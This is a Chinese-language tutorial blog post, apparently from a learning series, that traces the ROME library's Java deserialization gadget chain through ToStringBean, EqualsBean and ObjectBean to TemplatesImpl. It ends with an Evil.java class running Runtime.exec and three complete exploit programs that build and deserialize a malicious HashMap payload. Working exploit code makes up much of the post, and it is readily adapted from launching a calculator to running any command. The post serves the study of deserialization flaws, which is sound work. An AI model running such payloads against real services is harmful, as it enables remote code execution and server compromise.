目录
简介
原理分析
ToStringBean
EqualsBean
ObjectBean
EXP
①EqualsBean直球纯享版
②EqualsBean配合ObjectBean优化版
③纯ObjectBean实现版
关于《浅聊Java反序列化》系列,纯是记录自己的学习历程,宥于本人水平有限,内容很水,经常会出现可以多篇合一篇的情况,但所幸同一个话题还是比较集中,真要翻起来不算太麻烦,仅供师傅们看个乐。
简介
ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。
Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作,这也是问我们用Rome打反序列化的核心利用点。
原理分析
一个一个类来看,慢慢梳理出调用链
ToStringBean
先来看其构造方法,接受两个参数 beanClass
和 obj,并
分别赋值给类的成员变量_beanClass和_obj
public ToStringBean(Class beanClass, Object obj) {
this._beanClass = beanClass;
this._obj = obj;
}
再来看其“深入的toString方法”,有两种实现形式
很显然,toString()
方法内部首先获取相关信息,然后调用 toString(prefix)
方法
public String toString() {
Stack stack = (Stack)PREFIX_TL.get();
String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());
String prefix;
if (tsInfo == null) {
String className = this._obj.getClass().getName();
prefix = className.substring(className.lastIndexOf(".") + 1);
} else {
prefix = tsInfo[0];
tsInfo[1] = prefix;
}
return this.toString(prefix);
}
我们重点关注toString(prefix)
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception var8) {
sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");
}
return sb.toString();
}
核心逻辑是先是得到pds,再获取pds返回值中的方法名和方法,最后反射调用_obj类的该方法
这一段个人认为和jdk7u21原生反序列化有相像之处,感兴趣的师傅可以回顾一下品一品:
【Web】Java原生反序列化之jdk7u21——又见动态代理
这里要注意一点:
pds[i].getReadMethod()会限制调用的方式只能是getter&is,哪怕取到了setter也不能用
从设计理念的角度:toStringBean的作用就是生成一个传入的写定对象的字符串表示形式,我们只用对对象进行读操作(getter),而不需要对对象进行写操作(setter)
这也就注定了,ROME链是触发getter方法来进行利用的
OK话说回来,pds自何来?
让我们跟进BeanIntrospector.getPropertyDescriptors(this._beanClass)
其传入了this._beanClass作为klass
public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) throws IntrospectionException {
PropertyDescriptor[] descriptors = (PropertyDescriptor[])((PropertyDescriptor[])_introspected.get(klass));
if (descriptors == null) {
descriptors = getPDs(klass);
_introspected.put(klass, descriptors);
}
return descriptors;
}
这段代码实现了一个缓存机制,用于获取给定类的属性描述符数组。首先尝试从缓存中获取,如果缓存中没有,则调用特定的方法获取属性描述符数组,并将其存储到缓存中
跟进getPDs(klass)
private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException {
Method[] methods = klass.getMethods();
Map getters = getPDs(methods, false);
Map setters = getPDs(methods, true);
List pds = merge(getters, setters);
PropertyDescriptor[] array = new PropertyDescriptor[pds.size()];
pds.toArray(array);
return array;
}
private static Map getPDs(Method[] methods, boolean setters) throws IntrospectionException {
Map pds = new HashMap();
for(int i = 0; i < methods.length; ++i) {
String pName = null;
PropertyDescriptor pDescriptor = null;
if ((methods[i].getModifiers() & 1) != 0) {
if (setters) {
if (methods[i].getName().startsWith("set") && methods[i].getReturnType() == Void.TYPE && methods[i].getParameterTypes().length == 1) {
pName = Introspector.decapitalize(methods[i].getName().substring(3));
pDescriptor = new PropertyDescriptor(pName, (Method)null, methods[i]);
}
} else if (methods[i].getName().startsWith("get") && methods[i].getReturnType() != Void.TYPE && methods[i].getParameterTypes().length == 0) {
pName = Introspector.decapitalize(methods[i].getName().substring(3));
pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null);
} else if (methods[i].getName().startsWith("is") && methods[i].getReturnType() == Boolean.TYPE && methods[i].getParameterTypes().length == 0) {
pName = Introspector.decapitalize(methods[i].getName().substring(2));
pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null);
}
}
if (pName != null) {
pds.put(pName, pDescriptor);
}
}
return pds;
}
这段代码实现了根据类的方法获取其属性描述符数组的逻辑。通过遍历类的方法,在获取读取getter和setter方法并写入方法后,将它们合并为包含属性描述符的数组并返回。
那如果我们klass传入的是Templates.class,array中会存什么呢?打个断点看一眼:
可以看到拿到了我们的老熟人——getOutputProperties,即TemplatesImpl调用链的一环(不解释了)
既然这样,只要让ToStringBean的_obj属性为一个恶意TemplatesImpl对象,即可通过ToStringBean#toString的调用触发攻击
而toString自何来?
EqualsBean
先看其构造方法,顾名思义,果然equal
public EqualsBean(Class beanClass, Object obj) {
if (!beanClass.isInstance(obj)) {
throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);
} else {
this._beanClass = beanClass;
this._obj = obj;
}
}
初始化一个EqualsBean
对象,确保传入的对象是指定类的实例,如果不是则抛出异常,否则将传入的类和对象分别赋值给类的成员变量_beanClass和_obj
重点关注其hashCode方法,调用了_obj的toString方法,这不就齐活了,我们只要传入obj为恶意ToStringBean对象就能连上上面讲的逻辑
public int hashCode() {
return this.beanHashCode();
}
public int beanHashCode() {
return this._obj.toString().hashCode();
}
而怎么调用EqualsBean#hashCode呢?
就是最典的URLDNS,以hashMap为反序列化入口就可
hashMap#readObject => hash(key) => key.hashCode() => EqualsBean#hashCode
但注意hashMap#put也会触发key.hashCode,如果不想弹两次计算器,我们要进行一些处理,先往map里put进一个fake恶意类,put完后再用反射去修改。具体操作请看EXP部分,不作赘述。
ObjectBean
先看其构造方法
public ObjectBean(Class beanClass, Object obj) {
this(beanClass, obj, (Set)null);
}
public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {
this._equalsBean = new EqualsBean(beanClass, obj);
this._toStringBean = new ToStringBean(beanClass, obj);
this._cloneableBean = new CloneableBean(obj, ignoreProperties);
}
第一个构造函数 ObjectBean(Class beanClass, Object obj) 在内部调用了第二个构造函数 ObjectBean(Class beanClass, Object obj, Set ignoreProperties),并传递了一个空的 ignoreProperties 参数。
第二个构造函数 ObjectBean(Class beanClass, Object obj, Set ignoreProperties) 创建了三个子对象:_equalsBean、_toStringBean 和 _cloneableBean,分别是 EqualsBean、ToStringBean 和 CloneableBean 的实例。
接着看,ObjectBean的hashCode方法和toString方法也是直接分别调用EqualsBean和ToStringBean的对应方法。
从顾名思义的角度,ObjectBean可以通过传入的class和obj来生成三个子对象,并存进各自的字段里,应该是允许自由构造的。
但疑惑的是,因为ObjectBean其初始化方法也调用了EqualsBean的初始化方法,那不直接指定了传入的obj必须是class的实例了吗?相当于又加了一层桎梏。
不过不重要,对于这条链的构造已经够够的了。
我们完全可以用ObjectBean来代替实现ToStringBean和EqualsBean的效果,具体操作请看EXP③
public int hashCode() {
return this._equalsBean.beanHashCode();
}
public String toString() {
return this._toStringBean.toString();
}
EXP
先导pom依赖
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
Evil.java
package com.rome;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
//构造RCE代码
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
①EqualsBean直球纯享版
package com.rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Rome {
public static void main(String[] args) throws Exception {
byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "xxx");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ToStringBean bean = new ToStringBean(Templates.class, obj);
ToStringBean fakebean= new ToStringBean(String.class, obj);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, fakebean);
HashMap map = new HashMap();
map.put(equalsBean, 1); // 注意put的时候也会执行hash
setFieldValue(equalsBean, "_obj", bean);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
}
②EqualsBean配合ObjectBean优化版
package com.rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Rome {
public static void main(String[] args) throws Exception {
byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "xxx");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ToStringBean bean = new ToStringBean(Templates.class, obj);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, bean);
ObjectBean fakeBean = new ObjectBean(String.class, "xxx"); // 传入无害的String.class
HashMap map = new HashMap();
map.put(fakeBean, 1); // 注意put的时候也会执行hash
setFieldValue(fakeBean, "_equalsBean", equalsBean);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
Object o = (Object) ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
}
③纯ObjectBean实现版
package com.rome;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Rome {
public static void main(String[] args) throws Exception {
byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "xxx");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
ObjectBean tostringBean = new ObjectBean(Templates.class, obj);
ObjectBean fakebean= new ObjectBean(String.class, "xxx");
ObjectBean equalsBean = new ObjectBean(ObjectBean.class, fakebean);
HashMap map = new HashMap();
map.put(equalsBean, 1); // 注意put的时候也会执行hash
setFieldValue(fakebean, "_toStringBean", getFieldValue(tostringBean,"_toStringBean"));
// 序列化到文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.ser"));
oos.writeObject(map);
oos.close();
// 从文件中反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));
Object o = ois.readObject();
ois.close();
}
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
}
}